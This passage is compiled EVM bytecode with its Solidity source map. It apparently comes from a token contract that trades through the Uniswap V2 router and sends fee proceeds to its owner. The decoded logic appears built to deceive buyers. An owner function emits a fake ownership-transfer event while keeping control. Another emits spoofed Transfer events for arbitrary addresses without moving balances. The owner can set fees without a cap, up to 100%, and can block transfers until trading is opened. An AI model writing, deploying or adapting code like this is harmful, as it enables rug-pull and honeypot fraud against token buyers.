ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069d576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600381905550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461072d576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600381905550565b5f8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107bf9190611d58565b925050819055506107d1848484610d80565b90509392505050565b601281565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610865576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6004602052805f5260405f205f915090505481565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461097e576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600381905550565b60606001805461099790611b41565b80601f01602080910402602001604051908101604052809291908181526020018280546109c390611b41565b8015610a0e5780601f106109e557610100808354040283529160200191610a0e565b820191905f5260205f20905b8154815290600101906020018083116109f157829003601f168201915b5050505050905090565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a9e576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600381905550565b5f610ab4338484610d80565b905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b42576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b84849050811015610c0157848482818110610b6257610b61611d8b565b5b9050602002016020810190610b779190611964565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610bd857610bd7611d8b565b5b90506020020135604051610bec91906118d3565b60405180910390a38080600101915050610b44565b505050505050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c61575f80fd5b600760159054906101000a900460ff1615610c7a575f80fd5b6001600760156101000a81548160ff021916908315150217905550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d1d576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600381905550565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b8160025f6101000a81548160ff021916908360ff16021790555080600260016101000a81548160ff021916908360ff1602179055505050565b5f600760159054906101000a900460ff1680610de8575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610e3f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610e47575f80fd5b600760159054906101000a900460ff16158015610eb057505f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610ebb57505f82115b15610f01578260065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f4d9190611d58565b9250508190555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610fbd5750600760149054906101000a900460ff16155b801561102e575060646012600a610fd49190611ccd565b633b9aca00610fe39190611d17565b610fed9190611de5565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015611087575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156112d0576001600760146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156110c3576110c2611e15565b5b6040519080825280602002602001820160405280156110f15781602001602082028036833780820191505090505b50905030815f8151811061110857611107611d8b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061116b5761116a611d8b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a6111e59190611ccd565b633b9aca006111f49190611d17565b6111fe9190611de5565b5f8430426040518663ffffffff1660e01b8152600401611222959493929190611f4a565b5f604051808303815f87803b158015611239575f80fd5b505af115801561124b573d5f803e3d5ffd5b5050505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156112b3573d5f803e3d5ffd5b505f600760146101000a81548160ff021916908315150217905550505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561131f575060011515600760159054906101000a900460ff161515145b1561141d575f606460065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161461139057600260019054906101000a900460ff166113a0565b60025f9054906101000a900460ff165b60ff16846113ae9190611d17565b6113b89190611de5565b905080836113c69190611d58565b92508060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546114149190611fa2565b92505081905550505b8160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546114699190611fa2565b9250508190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361154f578273ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161154291906118d3565b60405180910390a3611695565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361162e5760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161162191906118d3565b60405180910390a3611694565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161168b91906118d3565b60405180910390a35b5b600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156116d75780820151818401526020810190506116bc565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116fc826116a0565b61170681856116aa565b93506117168185602086016116ba565b61171f816116e2565b840191505092915050565b5f6020820190508181035f83015261174281846116f2565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61177b82611752565b9050919050565b61178b81611771565b8114611795575f80fd5b50565b5f813590506117a681611782565b92915050565b5f819050919050565b6117be816117ac565b81146117c8575f80fd5b50565b5f813590506117d9816117b5565b92915050565b5f80604083850312156117f5576117f461174a565b5b5f61180285828601611798565b9250506020611813858286016117cb565b9150509250929050565b5f8115159050919050565b6118318161181d565b82525050565b5f60208201905061184a5f830184611828565b92915050565b5f60ff82169050919050565b61186581611850565b811461186f575f80fd5b50565b5f813590506118808161185c565b92915050565b5f806040838503121561189c5761189b61174a565b5b5f6118a985828601611872565b92505060206118ba85828601611872565b9150509250929050565b6118cd816117ac565b82525050565b5f6020820190506118e65f8301846118c4565b92915050565b5f805f606084860312156119035761190261174a565b5b5f61191086828701611798565b935050602061192186828701611798565b9250506040611932868287016117cb565b9150509250925092565b61194581611850565b82525050565b5f60208201905061195e5f83018461193c565b92915050565b5f602082840312156119795761197861174a565b5b5f61198684828501611798565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126119b0576119af61198f565b5b8235905067ffffffffffffffff8111156119cd576119cc611993565b5b6020830191508360208202830111156119e9576119e8611997565b5b9250929050565b5f8083601f840112611a0557611a0461198f565b5b8235905067ffffffffffffffff811115611a2257611a21611993565b5b602083019150836020820283011115611a3e57611a3d611997565b5b9250929050565b5f805f805f60608688031215611a5e57611a5d61174a565b5b5f611a6b88828901611798565b955050602086013567ffffffffffffffff811115611a8c57611a8b61174e565b5b611a988882890161199b565b9450945050604086013567ffffffffffffffff811115611abb57611aba61174e565b5b611ac7888289016119f0565b92509250509295509295909350565b5f8060408385031215611aec57611aeb61174a565b5b5f611af985828601611798565b9250506020611b0a85828601611798565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611b5857607f821691505b602082108103611b6b57611b6a611b14565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611bf357808604811115611bcf57611bce611b71565b5b6001851615611bde5780820291505b8081029050611bec85611b9e565b9450611bb3565b94509492505050565b5f82611c0b5760019050611cc6565b81611c18575f9050611cc6565b8160018114611c2e5760028114611c3857611c67565b6001915050611cc6565b60ff841115611c4a57611c49611b71565b5b8360020a915084821115611c6157611c60611b71565b5b50611cc6565b5060208310610133831016604e8410600b8410161715611c9c5782820a905083811115611c9757611c96611b71565b5b611cc6565b611ca98484846001611baa565b92509050818404811115611cc057611cbf611b71565b5b81810290505b9392505050565b5f611cd7826117ac565b9150611ce283611850565b9250611d0f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611bfc565b905092915050565b5f611d21826117ac565b9150611d2c836117ac565b9250828202611d3a816117ac565b91508282048414831517611d5157611d50611b71565b5b5092915050565b5f611d62826117ac565b9150611d6d836117ac565b9250828203905081811115611d8557611d84611b71565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611def826117ac565b9150611dfa836117ac565b925082611e0a57611e09611db8565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f819050919050565b5f819050919050565b5f611e6e611e69611e6484611e42565b611e4b565b6117ac565b9050919050565b611e7e81611e54565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611eb681611771565b82525050565b5f611ec78383611ead565b60208301905092915050565b5f602082019050919050565b5f611ee982611e84565b611ef38185611e8e565b9350611efe83611e9e565b805f5b83811015611f2e578151611f158882611ebc565b9750611f2083611ed3565b925050600181019050611f01565b5085935050505092915050565b611f4481611771565b82525050565b5f60a082019050611f5d5f8301886118c4565b611f6a6020830187611e75565b8181036040830152611f7c8186611edf565b9050611f8b6060830185611f3b565b611f9860808301846118c4565b9695505050505050565b5f611fac826117ac565b9150611fb7836117ac565b9250828201905080821115611fcf57611fce611b71565b5b9291505056fea2646970667358221220e6f10854ae78c89560a66f756650cb74144057af8df2214d988c42b972ef1d8064736f6c63430008160033

1852:6757:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6790:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6438:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5437:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2005:68;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4910:119;;;;;;;;;;;;;:::i;:::-;;5037:117;;;;;;;;;;;;;:::i;:::-;;6207:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1963:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4589:179;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2548:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4776:126;;;;;;;;;;;;;:::i;:::-;;6889:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5166:134;;;;;;;;;;;;;:::i;:::-;;6653:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5748:335;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5596:144;;;;;;;;;;;;;:::i;:::-;;5308:121;;;;;;;;;;;;;:::i;:::-;;2599:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6790:91;6835:13;6868:5;6861:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6790:91;:::o;6438:207::-;6506:4;6556:6;6523:9;:21;6533:10;6523:21;;;;;;;;;;;;;;;:30;6545:7;6523:30;;;;;;;;;;;;;;;:39;;;;6599:7;6578:37;;6587:10;6578:37;;;6608:6;6578:37;;;;;;:::i;:::-;;;;;;;;6633:4;6626:11;;6438:207;;;;:::o;5437:151::-;5518:9;;;;;;;;;;;5504:23;;:10;:23;;;5500:49;;5536:13;;;;;;;;;;;;;;5500:49;5560:20;5568:4;5574:5;5560:7;:20::i;:::-;5437:151;;:::o;2005:68::-;1996:2;2059;:14;;;;:::i;:::-;2043:13;:30;;;;:::i;:::-;2005:68;:::o;4910:119::-;4972:9;;;;;;;;;;;4958:23;;:10;:23;;;4954:49;;4990:13;;;;;;;;;;;;;;4954:49;5020:1;5014:5;:7;;;;4910:119::o;5037:117::-;5097:9;;;;;;;;;;;5083:23;;:10;:23;;;5079:49;;5115:13;;;;;;;;;;;;;;5079:49;5145:1;5139:5;:7;;;;5037:117::o;6207:223::-;6323:4;6371:6;6340:9;:15;6350:4;6340:15;;;;;;;;;;;;;;;:27;6356:10;6340:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;6395:27;6405:4;6411:2;6415:6;6395:9;:27::i;:::-;6388:34;;6207:223;;;;;:::o;1963:35::-;1996:2;1963:35;:::o;4589:179::-;4672:9;;;;;;;;;;;4658:23;;:10;:23;;;4654:49;;4690:13;;;;;;;;;;;;;;4654:49;4751:8;4719:41;;4740:9;;;;;;;;;;;4719:41;;;;;;;;;;;;4589:179;:::o;2548:44::-;;;;;;;;;;;;;;;;;:::o;4776:126::-;4845:9;;;;;;;;;;;4831:23;;:10;:23;;;4827:49;;4863:13;;;;;;;;;;;;;;4827:49;4893:1;4887:5;:7;;;;4776:126::o;6889:95::-;6936:13;6969:7;6962:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6889:95;:::o;5166:134::-;5236:9;;;;;;;;;;;5222:23;;:10;:23;;;5218:49;;5254:13;;;;;;;;;;;;;;5218:49;5284:1;5278:5;:7;;;;5166:134::o;6653:129::-;6717:4;6741:33;6751:10;6763:2;6767:6;6741:9;:33::i;:::-;6734:40;;6653:129;;;;:::o;5748:335::-;5914:9;;;;;;;;;;;5900:23;;:10;:23;;;5896:49;;5932:13;;;;;;;;;;;;;;5896:49;5961:9;5956:120;5980:8;;:15;;5976:1;:19;5956:120;;;6040:8;;6049:1;6040:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;6022:42;;6031:7;6022:42;;;6053:7;;6061:1;6053:10;;;;;;;:::i;:::-;;;;;;;;6022:42;;;;;;:::i;:::-;;;;;;;;5997:3;;;;;;;5956:120;;;;5748:335;;;;;:::o;5596:144::-;5661:9;;;;;;;;;;;5647:23;;:10;:23;;;5639:32;;;;;;5691:11;;;;;;;;;;;5690:12;5682:21;;;;;;5728:4;5714:11;;:18;;;;;;;;;;;;;;;;;;5596:144::o;5308:121::-;5372:9;;;;;;;;;;;5358:23;;:10;:23;;;5354:49;;5390:13;;;;;;;;;;;;;;5354:49;5420:1;5414:5;:7;;;;5308:121::o;2599:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6091:108::-;6161:4;6152:6;;:13;;;;;;;;;;;;;;;;;;6186:5;6176:7;;:15;;;;;;;;;;;;;;;;;;6091:108;;:::o;6992:1611::-;7105:4;7130:11;;;;;;;;;;;:32;;;;7153:9;;;;;;;;;;;7145:17;;:4;:17;;;7130:32;:51;;;;7172:9;;;;;;;;;;;7166:15;;:2;:15;;;7130:51;7122:60;;;;;;7200:11;;;;;;;;;;;7199:12;:34;;;;;7231:1;7215:18;;:4;;;;;;;;;;;:18;;;7199:34;:48;;;;;7246:1;7237:6;:10;7199:48;7195:63;;;7256:2;7249:4;;:9;;;;;;;;;;;;;;;;;;7195:63;7290:6;7271:9;:15;7281:4;7271:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;7333:4;;;;;;;;;;;7327:10;;:2;:10;;;:36;;;;;7355:8;;;;;;;;;;;7354:9;7327:36;:91;;;;;2193:3;1996:2;2059;:14;;;;:::i;:::-;2043:13;:30;;;;:::i;:::-;2179:17;;;;:::i;:::-;7380:9;:24;7398:4;7380:24;;;;;;;;;;;;;;;;:38;;7327:91;:125;;;;;7443:9;;;;;;;;;;;7435:17;;:4;:17;;;;7327:125;7309:685;;;7490:4;7479:8;;:15;;;;;;;;;;;;;;;;;;7509:21;7547:1;7533:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7509:40;;7582:4;7564;7569:1;7564:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;2722:42;7602:4;7607:1;7602:7;;;;;;;;:::i;:::-;;;;;;;:13;;;;;;;;;;;2804:42;7630:88;;;2193:3;1996:2;2059;:14;;;;:::i;:::-;2043:13;:30;;;;:::i;:::-;2179:17;;;;:::i;:::-;7774:1;7798:4;7833;7861:15;7630:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7910:9;;;;;;;;;;;:18;;:41;7929:21;7910:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7977:5;7966:8;;:16;;;;;;;;;;;;;;;;;;7464:530;7309:685;8026:4;8010:21;;:4;:21;;;;:44;;;;;8050:4;8035:19;;:11;;;;;;;;;;;:19;;;8010:44;8006:280;;;8071:27;8165:3;8137:4;;;;;;;;;;;8129:12;;:4;:12;;;:31;;8153:7;;;;;;;;;;;8129:31;;;8144:6;;;;;;;;;;;8129:31;8102:59;;:6;:59;;;;:::i;:::-;8101:67;;;;:::i;:::-;8071:97;;8193:19;8183:29;;;;;:::i;:::-;;;8255:19;8227:9;:24;8245:4;8227:24;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;8056:230;8006:280;8313:6;8296:9;:13;8306:2;8296:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;8344:9;;;;;;;;;;;8336:17;;:4;:17;;;8332:242;;8395:2;8375:31;;8384:9;;;;;;;;;;;8375:31;;;8399:6;8375:31;;;;;;:::i;:::-;;;;;;;;8332:242;;;8434:9;;;;;;;;;;;8428:15;;:2;:15;;;8424:150;;8480:9;;;;;;;;;;;8465:33;;8474:4;8465:33;;;8491:6;8465:33;;;;;;:::i;:::-;;;;;;;;8424:150;;;8551:2;8536:26;;8545:4;8536:26;;;8555:6;8536:26;;;;;;:::i;:::-;;;;;;;;8424:150;8332:242;8591:4;8584:11;;6992:1611;;;;;:::o;7:99:9:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:86::-;3481:7;3521:4;3514:5;3510:16;3499:27;;3446:86;;;:::o;3538:118::-;3609:22;3625:5;3609:22;:::i;:::-;3602:5;3599:33;3589:61;;3646:1;3643;3636:12;3589:61;3538:118;:::o;3662:135::-;3706:5;3744:6;3731:20;3722:29;;3760:31;3785:5;3760:31;:::i;:::-;3662:135;;;;:::o;3803:466::-;3867:6;3875;3924:2;3912:9;3903:7;3899:23;3895:32;3892:119;;;3930:79;;:::i;:::-;3892:119;4050:1;4075:51;4118:7;4109:6;4098:9;4094:22;4075:51;:::i;:::-;4065:61;;4021:115;4175:2;4201:51;4244:7;4235:6;4224:9;4220:22;4201:51;:::i;:::-;4191:61;;4146:116;3803:466;;;;;:::o;4275:118::-;4362:24;4380:5;4362:24;:::i;:::-;4357:3;4350:37;4275:118;;:::o;4399:222::-;4492:4;4530:2;4519:9;4515:18;4507:26;;4543:71;4611:1;4600:9;4596:17;4587:6;4543:71;:::i;:::-;4399:222;;;;:::o;4627:619::-;4704:6;4712;4720;4769:2;4757:9;4748:7;4744:23;4740:32;4737:119;;;4775:79;;:::i;:::-;4737:119;4895:1;4920:53;4965:7;4956:6;4945:9;4941:22;4920:53;:::i;:::-;4910:63;;4866:117;5022:2;5048:53;5093:7;5084:6;5073:9;5069:22;5048:53;:::i;:::-;5038:63;;4993:118;5150:2;5176:53;5221:7;5212:6;5201:9;5197:22;5176:53;:::i;:::-;5166:63;;5121:118;4627:619;;;;;:::o;5252:112::-;5335:22;5351:5;5335:22;:::i;:::-;5330:3;5323:35;5252:112;;:::o;5370:214::-;5459:4;5497:2;5486:9;5482:18;5474:26;;5510:67;5574:1;5563:9;5559:17;5550:6;5510:67;:::i;:::-;5370:214;;;;:::o;5590:329::-;5649:6;5698:2;5686:9;5677:7;5673:23;5669:32;5666:119;;;5704:79;;:::i;:::-;5666:119;5824:1;5849:53;5894:7;5885:6;5874:9;5870:22;5849:53;:::i;:::-;5839:63;;5795:117;5590:329;;;;:::o;5925:117::-;6034:1;6031;6024:12;6048:117;6157:1;6154;6147:12;6171:117;6280:1;6277;6270:12;6311:568;6384:8;6394:6;6444:3;6437:4;6429:6;6425:17;6421:27;6411:122;;6452:79;;:::i;:::-;6411:122;6565:6;6552:20;6542:30;;6595:18;6587:6;6584:30;6581:117;;;6617:79;;:::i;:::-;6581:117;6731:4;6723:6;6719:17;6707:29;;6785:3;6777:4;6769:6;6765:17;6755:8;6751:32;6748:41;6745:128;;;6792:79;;:::i;:::-;6745:128;6311:568;;;;;:::o;6902:::-;6975:8;6985:6;7035:3;7028:4;7020:6;7016:17;7012:27;7002:122;;7043:79;;:::i;:::-;7002:122;7156:6;7143:20;7133:30;;7186:18;7178:6;7175:30;7172:117;;;7208:79;;:::i;:::-;7172:117;7322:4;7314:6;7310:17;7298:29;;7376:3;7368:4;7360:6;7356:17;7346:8;7342:32;7339:41;7336:128;;;7383:79;;:::i;:::-;7336:128;6902:568;;;;;:::o;7476:1079::-;7607:6;7615;7623;7631;7639;7688:2;7676:9;7667:7;7663:23;7659:32;7656:119;;;7694:79;;:::i;:::-;7656:119;7814:1;7839:53;7884:7;7875:6;7864:9;7860:22;7839:53;:::i;:::-;7829:63;;7785:117;7969:2;7958:9;7954:18;7941:32;8000:18;7992:6;7989:30;7986:117;;;8022:79;;:::i;:::-;7986:117;8135:80;8207:7;8198:6;8187:9;8183:22;8135:80;:::i;:::-;8117:98;;;;7912:313;8292:2;8281:9;8277:18;8264:32;8323:18;8315:6;8312:30;8309:117;;;8345:79;;:::i;:::-;8309:117;8458:80;8530:7;8521:6;8510:9;8506:22;8458:80;:::i;:::-;8440:98;;;;8235:313;7476:1079;;;;;;;;:::o;8561:474::-;8629:6;8637;8686:2;8674:9;8665:7;8661:23;8657:32;8654:119;;;8692:79;;:::i;:::-;8654:119;8812:1;8837:53;8882:7;8873:6;8862:9;8858:22;8837:53;:::i;:::-;8827:63;;8783:117;8939:2;8965:53;9010:7;9001:6;8990:9;8986:22;8965:53;:::i;:::-;8955:63;;8910:118;8561:474;;;;;:::o;9041:180::-;9089:77;9086:1;9079:88;9186:4;9183:1;9176:15;9210:4;9207:1;9200:15;9227:320;9271:6;9308:1;9302:4;9298:12;9288:22;;9355:1;9349:4;9345:12;9376:18;9366:81;;9432:4;9424:6;9420:17;9410:27;;9366:81;9494:2;9486:6;9483:14;9463:18;9460:38;9457:84;;9513:18;;:::i;:::-;9457:84;9278:269;9227:320;;;:::o;9553:180::-;9601:77;9598:1;9591:88;9698:4;9695:1;9688:15;9722:4;9719:1;9712:15;9739:102;9781:8;9828:5;9825:1;9821:13;9800:34;;9739:102;;;:::o;9847:848::-;9908:5;9915:4;9939:6;9930:15;;9963:5;9954:14;;9977:712;9998:1;9988:8;9985:15;9977:712;;;10093:4;10088:3;10084:14;10078:4;10075:24;10072:50;;;10102:18;;:::i;:::-;10072:50;10152:1;10142:8;10138:16;10135:451;;;10567:4;10560:5;10556:16;10547:25;;10135:451;10617:4;10611;10607:15;10599:23;;10647:32;10670:8;10647:32;:::i;:::-;10635:44;;9977:712;;;9847:848;;;;;;;:::o;10701:1073::-;10755:5;10946:8;10936:40;;10967:1;10958:10;;10969:5;;10936:40;10995:4;10985:36;;11012:1;11003:10;;11014:5;;10985:36;11081:4;11129:1;11124:27;;;;11165:1;11160:191;;;;11074:277;;11124:27;11142:1;11133:10;;11144:5;;;11160:191;11205:3;11195:8;11192:17;11189:43;;;11212:18;;:::i;:::-;11189:43;11261:8;11258:1;11254:16;11245:25;;11296:3;11289:5;11286:14;11283:40;;;11303:18;;:::i;:::-;11283:40;1